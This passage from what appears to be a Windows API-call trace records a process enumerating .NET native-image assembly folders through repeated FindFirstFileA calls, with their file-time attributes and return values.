ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fd1a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.039] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fd1a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fd1a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fd1a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fd1a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.053] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ff7b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ff7b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.059] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ff7b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ff7b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.070] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1301dcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1301dcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.075] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1301dcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1301dcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.081] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13043e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13043e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.085] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13043e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13043e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.091] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13043e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13043e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13069f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13069f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.103] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13069f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13069f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.108] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13069f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13069f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.114] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x130900e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x130900e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.119] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x130900e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x130900e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.125] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x130b6240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x130b6240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.131] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x130b6240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x130b6240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.940] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138729c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138729c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.946] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Entity\\7daf7302e1e4f4ea64ae78ffbde6ecf6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae892bf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138729c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138729c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.953] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13898b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13898b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.959] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13898b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13898b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.964] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13898b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13898b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.970] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138bec80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138bec80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.978] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138bec80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138bec80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.983] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138e4de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138e4de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.989] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138e4de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138e4de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.995] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138e4de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x138e4de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.000] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1429ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1390af40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1390af40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.006] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1390af40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1390af40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.011] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1390af40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1390af40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139310a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139310a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.025] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139310a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139310a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.031] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13957200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13957200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.046] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13957200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13957200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.053] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1397d360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1397d360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.058] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1397d360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1397d360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.076] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139a34c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139a34c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.082] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139c9620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139c9620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.088] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139c9620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139c9620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.094] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139ef780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139ef780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.099] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139ef780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139ef780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.106] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, 